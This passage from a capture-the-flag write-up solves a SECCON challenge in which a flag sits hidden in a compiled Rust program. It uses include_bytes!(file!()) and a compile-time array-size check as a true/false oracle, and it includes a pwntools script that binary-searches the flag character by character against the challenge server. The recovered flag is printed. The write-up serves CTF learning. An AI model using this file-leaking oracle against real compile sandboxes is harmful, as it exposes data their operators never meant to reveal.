program. The flag is inserted as comment after our payload, and no compiler stdout/stderr is avalialble. ## Idea To exfiltrate flag, we can abuse a couple of Rust macros: - `file!()` - get the current file name - `include_bytes!(path)` - include file contents as bytes at compile time We can define a variable of type `[u32; 1]` and initialize it with `[0; cond as usize]`. If `cond` is evaluated to true, it will succeed, otherwise an error about array size mismatch would be thrown. ## Solution To minimize the number of requests, we're going to use binary search algorithm for each char. This way, it will only cost ~8 requests per char, instead of brute forcing the entire alphabet. ```python= from pwn import * def try_letter(pos, val): with remote('crabox.seccon.games', 1337, level='warn') as r: exploit = f'''let _: [u32; 1] = [0; (include_bytes!(file!())[{pos:4}] > 0x{val:02x}) as usize];''' r.recvuntil(b'Input your program (the last line must start with __EOF__):\n') r.sendline(exploit.encode()) r.sendline(b'__EOF__') return b':)' in r.recvall() flag_start = 107 flag = 'SECCON{' while not flag.endswith('}'): low, high = 32, 125 while low < high: mid = (high + low) // 2 print('trying', flag + chr(mid)) if try_letter(flag_start + len(flag), mid): low = mid + 1 else: high = mid flag += chr(low) print(flag) ``` And some requests later, the whole flag is spit out: ``` SECCON{ctfe_i5_p0w3rful} ```